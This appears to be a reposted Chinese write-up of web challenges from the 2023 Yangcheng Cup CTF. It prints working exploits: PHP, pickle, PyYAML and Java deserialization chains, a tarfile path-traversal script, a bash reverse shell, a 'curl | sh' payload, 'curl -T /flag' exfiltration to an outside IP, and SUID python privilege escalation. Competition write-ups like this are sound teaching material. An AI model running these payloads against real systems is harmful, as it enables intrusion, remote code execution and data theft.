2023年“羊城杯”网络安全大赛 Web方向题解wp 全

这篇具有很好参考价值的文章主要介绍了2023年“羊城杯”网络安全大赛 Web方向题解wp 全。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

团队名称:ZhangSan

序号:11


不得不说今年本科组打的是真激烈,初出茅庐的小后生没见过这场面QAQ~
羊城杯wp,CTF赛事,web安全,python,PHP,网络安全,java,CVE,反序列化

D0n’t pl4y g4m3!!!

简单记录一下,实际做题踩坑很多,尝试很多。

先扫了个目录,扫出start.sh

羊城杯wp,CTF赛事,web安全,python,PHP,网络安全,java,CVE,反序列化

内容如下,这个其实和hint一样的,hint就不放了,尊嘟假嘟解密。

羊城杯wp,CTF赛事,web安全,python,PHP,网络安全,java,CVE,反序列化

开始做题,题目让我访问路由/p0p.php,但是直接跳转到了https://passer-by.com/pacman/。应该是php源码里面有302跳转。

羊城杯wp,CTF赛事,web安全,python,PHP,网络安全,java,CVE,反序列化

还是太年轻了,一开始以为是前端游戏题,一直在看小游戏的源码。。。。。。

只能说题目名字诚不欺我。那排除了前端小游戏,我们就得想办法拿到p0p.php的源码了。

搜索关键字:php -S 0.0.0.0:80内置服务器任意文件读取源码很容易就搜索到这篇文章:漏洞复现php 5.5.45 - 8.0.2任意文件读取 | CTF导航 (ctfiot.com)

跟着做就好啦,记得burp->左上角重发器->关掉Content-Length自动更新。

PHP内置服务器任意文件读取:

版本: 5.5.45 - 8.0.2

用法:
GET /p0p.php HTTP/1.1\r\n
Host: 192.168.188.3:8080\r\n
\r\n
\r\n
GET / HTTP/1.1\r\n
\r\n

羊城杯wp,CTF赛事,web安全,python,PHP,网络安全,java,CVE,反序列化

源码如下:

<?php
header("HTTP/1.1 302 found");
header("Location:https://passer-by.com/pacman/");

class Pro{
    private $exp;
    private $rce2;

    public function __get($name)
    {
        return $this->$rce2=$this->exp[$rce2];
    }
    public  function __toString()
    {
            call_user_func('system', "cat /flag");
     }
}

class Yang
{
    public function __call($name, $ary)
    {
        if ($this->key === true || $this->finish1->name) {
            if ($this->finish->finish) {
                call_user_func($this->now[$name], $ary[0]);
            }
        }
    }
    public function ycb()
    {
        $this->now = 0;
        return $this->finish->finish;
    }
    public function __wakeup()
    {
        $this->key = True;
    }
}
class Cheng
{
    private $finish;
    public $name;
    public function __get($value)
    {

        return $this->$value = $this->name[$value];
    }
}
class Bei
{
    public function __destruct()
    {
        if ($this->CTF->ycb()) {
            $this->fine->YCB1($this->rce, $this->rce1);
        }
    }
    public function __wakeup()
    {
        $this->key = false;
    }
}

function prohib($a){
    $filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";
    return preg_replace($filter,'',$a);
}

$a = $_POST["CTF"];
if (isset($a)){
  unserialize(prohib($a));
}
?>

接下来就是简单的反序列化了。(虽然说题目有点坑)

有了hint知道flag在哪,链子就不会错了,链子:Bei::__destruct()->Yang::__call

给个EXP:

<?php
class Pro{
    private $exp;
    private $rce2;

    public function __get($name)
    {
        return $this->$rce2=$this->exp[$rce2];
    }
    public  function __toString()
    {
        //echo `tac /tmp/catcatf1ag.txt`
        call_user_func('system', "cat /flag");       //   /tmp/catcatf1ag.txt
    }
}

class Yang
{
    public function __call($name, $ary)  //2
    {
        if ($this->key === true || $this->finish1->name) {
            if ($this->finish->finish) {
                call_user_func($this->now[$name], $ary[0]);
            }
        }
    }
    public function ycb()
    {
        $this->now = 0;
        return $this->finish->finish;
    }
    public function __wakeup()
    {
        $this->key = True;
    }
}
class Cheng
{
    private $finish;
    public $name;
    public function __get($value)
    {

        return $this->$value = $this->name[$value];
    }
}
class Bei
{
    public function __destruct()//1
    {
        if ($this->CTF->ycb()) {
            $this->fine->YCB1($this->rce, $this->rce1);//2
        }
    }
    public function __wakeup()
    {
        $this->key = false;
    }
}
/*
function prohib($a){
    $filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";
    return preg_replace($filter,'',$a);
}
*/

$aa=new Bei();
$aa->CTF=new Yang();    //if
$aa->CTF->finish->finish=true;


$aa->fine=new Yang();
$aa->fine->key=true;
$aa->rce='tac /tmp/catcatf1ag.txt';
$aa->rce1='tac /tmp/catcatf1ag.txt';

$aa->fine->finish->finish=true;
$aa->fine->now=array('YCB1'=>'syssystemtem');

//echo urlencode(serialize($aa));

$b=serialize($aa);
echo $b;



//unserialize($b);


//O:3:"Bei":4:{s:3:"CTF";O:4:"Yang":1:{s:6:"finish";O:8:"stdClass":1:{s:6:"finish";b:1;}}s:4:"fine";O:4:"Yang":3:{s:3:"key";b:1;s:6:"finish";O:8:"stdClass":1:{s:6:"finish";b:1;}s:3:"now";a:1:{s:4:"YCB1";s:6:"syssystemtem";}}s:3:"rce";s:23:"tac /tmp/catcatf1ag.txt";s:4:"rce1";s:23:"tac /tmp/catcatf1ag.txt";}

function prohib($aa){
    $filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";
    return preg_replace($filter,'',$aa);
}

双写绕过prohib(),改长度。(12->6)

s:12:"syssystemtem";     //原始,system双写了
s:6:"syssystemtem";      //12->6
s:6:"system";            //经过prohib(),只过滤替换一次,所以可以双写绕过

记得开启Content-Length自动更新,要不然寄。

羊城杯wp,CTF赛事,web安全,python,PHP,网络安全,java,CVE,反序列化

Serpent

开题。

羊城杯wp,CTF赛事,web安全,python,PHP,网络安全,java,CVE,反序列化

题目描述叫我们注意www.zip。访问下载,得到源码。

from flask import Flask, session
from secret import secret

@app.route('/verification')
def verification():
    try:
        attribute = session.get('Attribute')
        if not isinstance(attribute, dict):
            raise Exception
    except Exception:
        return 'Hacker!!!'
    if attribute.get('name') == 'admin':
        if attribute.get('admin') == 1:
            return secret
        else:
            return "Don't play tricks on me"
    else:
        return "You are a perfect stranger to me"

if __name__ == '__main__':
    app.run('0.0.0.0', port=80)

和session相关,我们的session是:

eyJBdHRyaWJ1dGUiOnsiYWRtaW4iOjAsIm5hbWUiOiJHV0hUIiwic2VjcmV0X2tleSI6IkdXSFRTeXdUdThtNmtJIn19.ZPK0kQ.Lz2QvFZ9lCdDv2y-n9RkT7CHkEU

以为是JWT,解密一下看payload就知道不是。

羊城杯wp,CTF赛事,web安全,python,PHP,网络安全,java,CVE,反序列化

注意到这里有secret_key,猜测是session伪造。

羊城杯wp,CTF赛事,web安全,python,PHP,网络安全,java,CVE,反序列化

破解session:

python flask_session_cookie_manager3.py decode -s "GWHTSywTu8m6kI" -c "eyJBdHRyaWJ1dGUiOnsiYWRtaW4iOjAsIm5hbWUiOiJHV0hUIiwic2VjcmV0X2tleSI6IkdXSFRTeXdUdThtNmtJIn19.ZPK0kQ.Lz2QvFZ9lCdDv2y-n9RkT7CHkEU"

伪造session:(伪造要求在源码里面)

python flask_session_cookie_manager3.py encode -s "GWHTSywTu8m6kI" -t "{'Attribute': {'admin': 1, 'name': 'admin', 'secret_key': 'GWHTSywTu8m6kI'}}"

得到伪造的session

eyJBdHRyaWJ1dGUiOnsiYWRtaW4iOjEsIm5hbWUiOiJhZG1pbiIsInNlY3JldF9rZXkiOiJHV0hUd1gxWW1ob3lnZyJ9fQ.ZPKyrQ.zn60ktc6EtGIByZ0wc3XlDIwvxs

羊城杯wp,CTF赛事,web安全,python,PHP,网络安全,java,CVE,反序列化

返回Hello admin, welcome to /ppppppppppick1e

羊城杯wp,CTF赛事,web安全,python,PHP,网络安全,java,CVE,反序列化

访问/ppppppppppick1e路由,返回Hint: Source in /src0de

羊城杯wp,CTF赛事,web安全,python,PHP,网络安全,java,CVE,反序列化

访问路由/src0de,返回源码,好套。

@app.route('/src0de')
def src0de():
    f = open(__file__, 'r')
    rsp = f.read()
    f.close()
    return rsp[rsp.index("@app.route('/src0de')"):]

@app.route('/ppppppppppick1e')
def ppppppppppick1e():
    try:
        username = "admin"
        rsp = make_response("Hello, %s " % username)
        rsp.headers['hint'] = "Source in /src0de"
        pick1e = request.cookies.get('pick1e')
        if pick1e is not None:
            pick1e = base64.b64decode(pick1e)
        else:
            return rsp
        if check(pick1e):
            pick1e = pickle.loads(pick1e)
            return "Go for it!!!"
        else:
            return "No Way!!!"
    except Exception as e:
        error_message = str(e)
        return error_message

    return rsp

class GWHT():
    def __init__(self):
        pass

if __name__ == '__main__':
    app.run('0.0.0.0', port=80)

经过测试,过滤了__ruduce__

那就换一个没有__ruduce__的payload:pickle反序列化的利用技巧总结 - 知乎 (zhihu.com)

import base64
data=import base64
data=b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/120.46.41.173/9023 0>&1"'
o.'''
print(base64.b64encode(data))

POC:

pick1e=KGNvcwpzeXN0ZW0KUydiYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwLzEyMC40Ni40MS4xNzMvOTAyMyAwPiYxIicKby4=

羊城杯wp,CTF赛事,web安全,python,PHP,网络安全,java,CVE,反序列化

羊城杯wp,CTF赛事,web安全,python,PHP,网络安全,java,CVE,反序列化

直接getflag行不通,还得提权,好好好。

羊城杯wp,CTF赛事,web安全,python,PHP,网络安全,java,CVE,反序列化

尝试find提权,无果。https://www.cnblogs.com/aaak/p/15718561.html

#查看find命令位置
which find

#查看 find 命令权限
ls -l  /usr/bin/find   #  这是find 默认位置

-rwxr-xr-x 1 root root 320160 Feb 18  2020 /usr/bin/find
# 有s表示可以提权,这里没有哦,所以行不通。。。。。。

羊城杯wp,CTF赛事,web安全,python,PHP,网络安全,java,CVE,反序列化

算了,按流程走一遍提权。

/usr/bin目录ls -alsh,发现python3.8有s权限位(suid)。

...
...
...
...
5.3M -rwsr-xr-x 1 root root   5.3M May 26 14:05 python3.8
...
...
...
...

cap_setuid提权:Linux提权之:利用capabilities提权 - f_carey - 博客园 (cnblogs.com)

相当于又开启了一个shell,但是权限是python的。

python3.8 -c 'import os; os.setuid(0); os.system("/bin/sh")'

然后就能顺畅的getflag了。

羊城杯wp,CTF赛事,web安全,python,PHP,网络安全,java,CVE,反序列化

羊城杯wp,CTF赛事,web安全,python,PHP,网络安全,java,CVE,反序列化

其实su也有s权限位,一开始想用su提权,su是可以切换用户的,像kali中的sudo su或者su root切换root用户,但是需要root用户密码,不能用于suid提权。

好文不谢:https://gtfobins.github.io/

ArkNights

非预期直接拿下一血了。

羊城杯wp,CTF赛事,web安全,python,PHP,网络安全,java,CVE,反序列化

非预期是/read路由读取环境变量。

羊城杯wp,CTF赛事,web安全,python,PHP,网络安全,java,CVE,反序列化

放个源码赛后复现预期,先去写别的了:

# 导入所需模块
import uuid  # 用于生成唯一标识符
from flask import *  # 导入 Flask 框架的相关模块
from werkzeug.utils import *  # 导入 Werkzeug 工具类的相关模块

# 创建 Flask 应用实例
app = Flask(__name__)

# 设置应用的 SECRET_KEY
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "*") + "Boogipopisweak"

# 定义根路径的路由和视图函数
@app.route('/')
def index():
    # 获取名为 "name" 的查询参数,如果不存在则使用默认值 "name"
    name = request.args.get("name", "name")
    # 获取名为 "m1sery" 的查询参数,如果不存在则使用默认值 "Doctor.Boogipop",并将其放入列表中
    m1sery = [request.args.get("m1sery", "Doctor.Boogipop")]

    # 检查会话中的 "name" 是否等于 "Dr.Boog1pop"
    if session.get("name") == "Dr.Boog1pop":
        # 对 "name" 执行黑名单检查,使用正则表达式查找潜在的恶意字符
        blacklist = re.findall("/ba|sh|\\\\|\[|]|#|system|'|\"/", name, re.IGNORECASE)
        if blacklist:
            return "bad hacker no way"  # 如果检测到黑名单字符,返回拒绝访问消息

        # 执行一段动态生成的代码,此处使用了 f-string
        exec(f'for [{name}] in [{m1sery}]:print("strange?")')

    else:
        session['name'] = "Doctor"  # 如果会话中的 "name" 不是 "Dr.Boog1pop",将其设置为 "Doctor"

    # 渲染名为 "index.html" 的模板,并传递会话中的 "name" 到模板中
    return render_template("index.html", name=session.get("name"))

# 定义 "/read" 路由,用于读取文件
@app.route('/read')
def read():
    # 获取名为 "file" 的查询参数,表示要读取的文件名
    file = request.args.get('file')
    
    # 对文件名进行黑名单检查,使用正则表达式查找潜在的恶意字符
    fileblacklist = re.findall("/flag|fl|ag/", file, re.IGNORECASE)
    if fileblacklist:
        return "bad hacker!"  # 如果检测到黑名单字符,返回拒绝访问消息

    # 获取名为 "start" 和 "end" 的查询参数,表示文件读取的起始位置和结束位置
    start = request.args.get("start", "0")
    end = request.args.get("end", "0")

    if start == "0" and end == "0":
        # 如果起始位置和结束位置均为 0,则读取整个文件内容,并以二进制形式返回
        return open(file, "rb").read()
    else:
        # 否则,将起始位置和结束位置转换为整数,并按照指定位置读取文件内容
        start, end = int(start), int(end)
        f = open(file, "rb")
        f.seek(start)
        data = f.read(end)
        return data  # 返回读取到的数据

# 定义动态路由,用于渲染页面,动态路由的路径参数是 "path"
@app.route("/<path:path>")
def render_page(path):
    # 检查是否存在名为 "templates/" + path 的文件
    if not os.path.exists("templates/" + path):
        return "not found", 404  # 如果文件不存在,返回 404 错误

    # 渲染指定路径的模板
    return render_template(path)

# 如果该脚本直接运行,启动 Flask 应用
if __name__ == '__main__':
    app.run(
        debug=False,  # 关闭调试模式
        host="0.0.0.0"  # 监听所有可用的网络接口
    )
    print(app.config['SECRET_KEY'])  # 打印应用的 SECRET_KEY

ezyaml

源码直接给了。

# 创建 Flask 应用实例
app = Flask(__name__)

# 定义 WAF(Web Application Firewall)函数,用于检查输入是否包含恶意关键词
def waf(s):
    flag = True
    blacklist = ['bytes', 'eval', 'map', 'frozenset', 'popen', 'tuple', 'exec', '\\', 'object', 'listitems', 'subprocess', 'object', 'apply']
    for no in blacklist:
        if no.lower() in str(s).lower():
            flag = False
            print(no)
            break
    return flag

# 定义提取文件的函数
def extractFile(filepath, type):
    extractdir = filepath.split('.')[0]
    if not os.path.exists(extractdir):
        os.makedirs(extractdir)

    if type == 'tar':
        tf = tarfile.TarFile(filepath)
        tf.extractall(extractdir)
        return tf.getnames()

# 定义根路由和视图函数,用于显示主页
@app.route('/', methods=['GET'])
def main():
    fn = 'uploads/' + md5().hexdigest()
    if not os.path.exists(fn):
        os.makedirs(fn)
    return render_template('index.html')

# 定义上传文件的路由和视图函数
@app.route('/upload', methods=['GET', 'POST'])
def upload():
    if request.method == 'GET':
        return redirect('/')

    if request.method == 'POST':
        upFile = request.files['file']
        print(upFile)

        # 检查文件名是否包含恶意字符,如 ".." 或 "/"
        if re.search(r"\.\.|/", upFile.filename, re.M|re.I) != None:
            return "<script>alert('Hacker!');window.location.href='/upload'</script>"

        savePath = f"uploads/{upFile.filename}"
        print(savePath)
        upFile.save(savePath)

        # 检查上传的文件是否为 tar 文件,如果是,则解压文件并获取其中的文件列表
        if tarfile.is_tarfile(savePath):
            zipDatas = extractFile(savePath, 'tar')
            return render_template('result.html', path=savePath, files=zipDatas)
        else:
            return f"<script>alert('{upFile.filename} upload successfully');history.back(-1);</script>"

# 定义查看源代码的路由和视图函数
@app.route('/src', methods=['GET'])
def src():
    if request.args:
        username = request.args.get('username')
        with open(f'config/{username}.yaml', 'rb') as f:
            Config = yaml.load(f.read())
            return render_template('admin.html', username="admin", message="success")
    else:
        return render_template('index.html')

# 启动 Flask 应用,监听在 0.0.0.0:8000
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000)

思路很明显,/upload路由想办法上传yaml文件到/config//src路由想办法解析yaml文件。

我们分为上传路径问题和解析问题。

首先是上传路径问题,过滤了../,尝试使用全角字符尝试失败。

﹒﹒/﹒﹒/﹒﹒/﹒﹒/﹒﹒/etc/passwd

羊城杯wp,CTF赛事,web安全,python,PHP,网络安全,java,CVE,反序列化

直接上传文件失败,那就从压缩包入手。源码里面tar不查里面文件的文件名。

# 检查上传的文件是否为 tar 文件,如果是,则解压文件并获取其中的文件列表
        if tarfile.is_tarfile(savePath):
            zipDatas = extractFile(savePath, 'tar')
            return render_template('result.html', path=savePath, files=zipDatas)

但是遇到了一个问题,windows和linux都不支持文件名包含/,010也改不了tar,无法路径穿越。

搜索关键词:python tar压缩包 目录遍历 任意文件读取

可以搜到:CVE-2007-4559,用来绕过路径问题。虽然是07年的CVE,但是22年又翻出来了。

前面三篇可以对其大概有所了解,利用看后面三篇。

一个 15 年未修补 Python 漏洞让攻击者可以执行代码:35 万个开源代码存储库岌岌可危-腾讯云开发者社区-腾讯云 (tencent.com)

被忽视15年的CVE-2007-4559 Python漏洞 导致35万项目陷入代码执行风险|python|cve|存储库_网易订阅 (163.com)

CVE-2007-4559原理及复现 - 边窗/SideWindow (peirs.net)

CVE-2007-4559漏洞学习 – l1_Tuer’s blog (l1tuer.space)

【WP】NSSCTF Round#6 web3-check(Revenge)复现 - br0sy’s blog

NSSCTF Round#6-web (pankas.top)

tarfile文件覆盖漏洞(CVE-2007-4559)

Python 中 tarfile 模块中的extract、extractFile和extractall 函数中的目录遍历漏洞 允许 用户协助的远程攻击者通过 TAR 存档文件名中的..和/遍历目录 和 写入/覆盖任意文件

羊城杯wp,CTF赛事,web安全,python,PHP,网络安全,java,CVE,反序列化

拿第四篇的脚本稍微改一下就能用了:

import re     # 导入正则表达式模块
import time   # 导入时间模块
import requests as req   # 导入requests库,用于发送HTTP请求
import tarfile   # 导入tarfile库,用于创建和解压tar文件

url = 'http://8000.endpoint-7d9b62edec9940c39d61c504575a64e0.m.ins.cloud.dasctf.com:81/'   # 设置目标URL
filename = r"1.yaml"   # 设置要上传的文件名

def changeFileName(filename):
    filename.name='../../../../../app/config/jay.yaml'   # 修改文件名
    return filename

with tarfile.open("jay.tar", "w") as tar:   # 创建名为jay.tar的tar文件
    tar.add(filename, filter=changeFileName)   # 将指定的文件添加到tar文件中,并通过filter参数修改文件名

def upload(rawurl):
    url = rawurl + "upload"   # 拼接完整的上传URL
    response = req.post(url=url, files={"file": open("exp.tar", 'rb')})   # 发送POST请求,上传exp.tar文件
    print(response.text)   # 打印响应内容


def getFlag(rawurl):
    url = rawurl + 'src?username=jay'   # 拼接完整的解析URL,解析执行/config/jay.yaml文件
    response = req.get(url)   # 发送GET请求,下载文件
    print(response.content)   # 打印响应内容

if __name__ == "__main__":
    upload(url)   # 调用upload函数,上传文件
    time.sleep(3)   # 等待3秒
    #getFlag(url)   # 调用getFlag函数,解析执行/config/jay.yaml文件

运行后yaml文件就被成功写入/config/目录了。(这里试验时文件内容是111)

羊城杯wp,CTF赛事,web安全,python,PHP,网络安全,java,CVE,反序列化

访问/src?username=jay不报错500,就是写入成功了。

羊城杯wp,CTF赛事,web安全,python,PHP,网络安全,java,CVE,反序列化


接下来就是解析问题了,源码中暂时没看见过滤yaml文件内容的语句。但是注意到waf函数一直没有使用。感觉这个waf函数是检查我yaml文件的。尝试了一下还真是,估计出题人没有完全把源码给我们。

def waf(s):
    flag = True
    blacklist = ['bytes', 'eval', 'map', 'frozenset', 'popen', 'tuple', 'exec', '\\', 'object', 'listitems', 'subprocess', 'object', 'apply']
    for no in blacklist:
        if no.lower() in str(s).lower():
            flag = False
            print(no)
            break
    return flag

绕过方法:SecMap - 反序列化(PyYAML) - Tr0y’s Blog

tar包里面1.yaml的内容:(加载uploads/17.py)

!!python/module:uploads.17.py

所以在访问/src?username=jay前,我们还要上传一个.py文件。

羊城杯wp,CTF赛事,web安全,python,PHP,网络安全,java,CVE,反序列化

内容是:(利用平台弹shell,用curl就行了)

import os
os.system('curl https://your-shell.com/120.46.41.173:9023 |sh')

访问/src?username=jay,自动弹shell。

羊城杯wp,CTF赛事,web安全,python,PHP,网络安全,java,CVE,反序列化

Ez_java

考点:java反序列化,动态代理,模板注入,http信道带出数据。

链子如下:BadAttributeValueExpException::readObject -> Map::toString -> HtmlInvocationHandler::invoke -> HtmlMap::get -> HtmlUploadUtil::uploadfile


先分析一下web路由的作用:(IndexController)

/:输出"Welcome to YCB"

/templating:渲染模板

/getflag:传入data,base64解码+反序列化

羊城杯wp,CTF赛事,web安全,python,PHP,网络安全,java,CVE,反序列化

然后是HtmlInvocationHandler类中的invoke方法。这个方法可以就行动态代理,代理的类方法会被拦截并且执行HtmlInvocationHandlerobj属性的get方法。

羊城杯wp,CTF赛事,web安全,python,PHP,网络安全,java,CVE,反序列化

public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        Object result = this.obj.get(method.getName());
        return result;
    }

HTMLmap类的get方法,可以上传文件,是利用点。

羊城杯wp,CTF赛事,web安全,python,PHP,网络安全,java,CVE,反序列化

public Object get(Object key) {
        try {
            Object obj = HtmlUploadUtil.uploadfile(this.filename, this.content);
            return obj;
        } catch (Exception var4) {
            throw new RuntimeException(var4);
        }
    }

然后看HtmlUploadUtil()类:

public static boolean uploadfile(String filename, String content) {
        if (filename != null && !filename.endsWith(".ftl")) {
            return false;
        } else {
            String realPath = "/app/templates/" + filename;
            if (!realPath.contains("../") && !realPath.contains("..\\")) {
                try {
                    BufferedWriter writer = new BufferedWriter(new FileWriter(realPath));
                    writer.write(content);
                    writer.close();
                    return true;
                } catch (IOException var4) {
                    System.err.println("Error uploading file: " + var4.getMessage());
                    return false;
                }
            } else {
                return false;
            }
        }
    }

上传的文件必须是.ftl后缀结尾的文件,ftl是java的一个模板类。前面说了HTMLmap类的get方法,可以上传文件,是利用点。那就有可能上传ftl文件覆盖原文件,使模板渲染恶意文件中的恶意代码执行命令。

这里直接执行命令没有回显。无文件写入权限也不能反弹shell,最后选择用http信道带出文件,猜测flag在/flag

curl -T /flag http://120.46.41.173:9023

羊城杯wp,CTF赛事,web安全,python,PHP,网络安全,java,CVE,反序列化

POC:

package com.jiangshiqi;

/**
 * @ClassName EXP
 * @Author 86159
 * @Date 2023/9/2
 * @Version 1.0
 */

import com.ycbjava.Bean.HtmlBean;
import com.ycbjava.Utils.HtmlInvocationHandler;
import com.ycbjava.Utils.HtmlMap;
import com.ycbjava.Utils.NewObjectInputStream;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.Map;

public class EXP {
    public static void main(String[] args) throws Exception {
        HtmlMap htmlMap = new HtmlMap();
        htmlMap.filename = "index.ftl";
        htmlMap.content = "<!DOCTYPE html><html lang=\"en\"><head><meta charset=\"UTF-8\"><#assign ac=springMacroRequestContext.webApplicationContext><#assign fc=ac.getBean('freeMarkerConfiguration')><#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()><#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${\"freemarker.template.utility.Execute\"?new()(\"curl -T /flag http://120.46.41.173:9023\")}</head><body></body></html>";

        Class clazz = Class.forName("com.ycbjava.Utils.HtmlInvocationHandler");

        Constructor firstConstructor = clazz.getDeclaredConstructors()[0];

        firstConstructor.setAccessible(true);

        Map root012map = (Map) Proxy.newProxyInstance(
                EXP.class.getClassLoader(),
                new Class[]{Map.class},
                (InvocationHandler) firstConstructor.newInstance(htmlMap)
        );

        InvocationHandler htmlInvocationHandler = (InvocationHandler)
                firstConstructor.newInstance(root012map);

        BadAttributeValueExpException exception = new
                BadAttributeValueExpException(null);

        Field valfield = exception.getClass().getDeclaredField("val");

        valfield.setAccessible(true);

        valfield.set(exception, root012map);

        ByteArrayOutputStream byteArrayOutputStream = new
                ByteArrayOutputStream();

        ObjectOutputStream objectOutputStream = new
                ObjectOutputStream(byteArrayOutputStream);

        objectOutputStream.writeObject(exception);

        byteArrayOutputStream.flush();

        byte[] bytes = byteArrayOutputStream.toByteArray();

        String encode = Base64.getEncoder().encodeToString(bytes);

        System.out.println(encode);

        NewObjectInputStream objectInputStream = new NewObjectInputStream(new
                ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
        objectInputStream.readObject();
    }
}

生成序列化字符串:

羊城杯wp,CTF赛事,web安全,python,PHP,网络安全,java,CVE,反序列化

url编码后上传

/getflag?data=xxxxx

羊城杯wp,CTF赛事,web安全,python,PHP,网络安全,java,CVE,反序列化

/templating?name=Jay17

vps的9023端口接到监听

羊城杯wp,CTF赛事,web安全,python,PHP,网络安全,java,CVE,反序列化

EZ_web【没出,之后补】

扫出目录upload.php

羊城杯wp,CTF赛事,web安全,python,PHP,网络安全,java,CVE,反序列化

有三个功能,上传文件、执行命令、列出目录。

羊城杯wp,CTF赛事,web安全,python,PHP,网络安全,java,CVE,反序列化

flag就在/flag.txt

羊城杯wp,CTF赛事,web安全,python,PHP,网络安全,java,CVE,反序列化文章来源地址https://www.toymoban.com/news/detail-694977.html

到了这里,关于2023年“羊城杯”网络安全大赛 Web方向题解wp 全的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 2023数字中国创新大赛网络数据安全赛道数据安全产业人才能力挑战赛

    也不知道什么时候报的这个比赛,本来都商量好了不打了,结果队友看到前100进线下又被拉过来打了几个题,队友都在外面玩,强烈谴责。最后因为理论0分,比分差距太大直接放弃了,纯看看题。 没啥难度,根据他的hint,把 etc/passwd 换成 flag 就可以了 6L+Z5LmI566A5Y2V55qE6aKY5b

    2023年04月08日
    浏览(54)
  • 2023年菏泽市中职学校技能大赛“网络安全”赛项规程

    202 3 年菏泽市 中职学 校技能大赛 “ 网络安全 ”赛项规程 一、赛项名称 赛项名称: 网络安全 赛项所属专业大类: 信息技术类 通过竞赛,检验参赛选手对网络、服务器系统等网络空间中各个信息系统的安全防护能力,以及分析、处理现场问题的能力。通过本赛项的训练和

    2024年02月11日
    浏览(40)
  • 2023年全国职业院校技能大赛信息安全管理与评估网络安全渗透任务书

    全国职业院校技能大赛 高等职业教育组 信息安全管理与评估 任务书 模块三 网络安全渗透、理论技能与职业素养 比赛时间及注意事项 本阶段比赛时长为180分钟,时间为 9:00-12:00。 【注意事项】 (1)通过找到正确的flag值来获取得分,flag统一格式如下所示: flag{flag值 } 这种

    2024年02月10日
    浏览(48)
  • 2023年台州市第三届网络安全技能大赛(MISC)这是神马

    考点:冰蝎流量特征数据包,需要解密 emoj 解密 冰蝎之前做过 特征就是先 base64 编码在 AES 编码 我们在数据包里面找到了密钥: 144a6b2296333602 这里我们知道了密钥我们就去解密 先筛选 HTTP 协议 导出 HTTP 数据流可以看到传了 shell.php 随便找一个然后复制, AES 解密这里我没工具

    2024年02月08日
    浏览(52)
  • 2023年贵州省职业技能大赛“网络安全” 项目比赛任务书

    A-1:登录安全加固(Windows, Linux) A-1任务一 登录安全加固(Windows, Linux) 请对服务器Windows、Linux按要求进行相应的设置,提高服务器的安全性。 1.密码策略(Windows, Linux) a.最小密码长度不少于13个字符; b.密码必须符合复杂性要求。 2.用户安全管理(Windows) a.设置取得文件或

    2023年04月23日
    浏览(48)
  • 2023第三届”红明谷“杯网络安全大赛 Writeup By AheadSec

    修改前端js代码,将连点10次处的 clickDecryptBtn(); 循环次数改为10000即可,如图所示: Dreamer cms有nday:https://forum.butian.net/share/2183 其中有一个后台设置栏目存在任意文件读取的漏洞,而且也给了flag位置在 /flag 保存,然后首页点击这个栏目即可 返回都是 gzip 格式的数据,直接用

    2023年04月24日
    浏览(48)
  • 2023第二届陇剑杯网络安全大赛 预选赛Writeup

    题目附件 这题其实可以参考这篇文章:从一道题分析Nmap SYN/半连接/半开放扫描流量 TCP扫描确认端口开放的标志就是返回 SYN+ACK 的包,所以只需要过滤 SYN、ACK 状态都为 1 的包即可 答案 过滤 http 发现这里有个 shell.jsp 右键追踪HTTP流,可以看到 shell.jsp 的内容,哥斯拉AES加密的

    2024年02月11日
    浏览(71)
  • 第二届“陇剑杯”网络安全大赛线上赛write up2023

    解法一: 键盘按住向下,一个一个看,能看到 80, 888, 8888   ip.dst是指IP报文中的目标IP地址。在计算机网络中,每个设备都有一个唯一的IP地址,用于标识其在网络中的位置。发送数据时,数据包会被封装成IP报文,并通过网络传输到目标设备。ip.dst即表示这个IP报文的目标设

    2024年02月08日
    浏览(88)
  • 2023年云南省职业院校技能大赛中职组“网络安全”赛项样题

    2023年云南省职业院校技能大赛 中职 组 “网络安全”赛项样题 一、竞赛时间 总计:180分钟 二、竞赛阶段 竞赛阶段 任务阶段 竞赛任务 竞赛时间 分值 A、B模块 A-1 登录安全加固 180分钟 200分 A-2 数据库加固 A-3 服务加固SSHVSFTPD A-4 防火墙策略 B-1 隐写术应用-B 400分 B-2 内存取证

    2024年02月06日
    浏览(46)
  • 2023年四川省网络与信息安全技能大赛初赛 个人赛 Writeup

    反序列化 、 eval截断 、 无参数RCE 然后在写入一个webshell反弹 webshell反弹之后在根目录下看到 secret.txt ,里面存着用户 boogipop 的密码 之后直接 cat /flag 就行 在源码中飞机爆炸处理之后有一个GET参数请求 直接传 scores 即可获得flag: /useful.php?scores=1000000000 给了源码,但是登录后

    2024年02月07日
    浏览(47)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包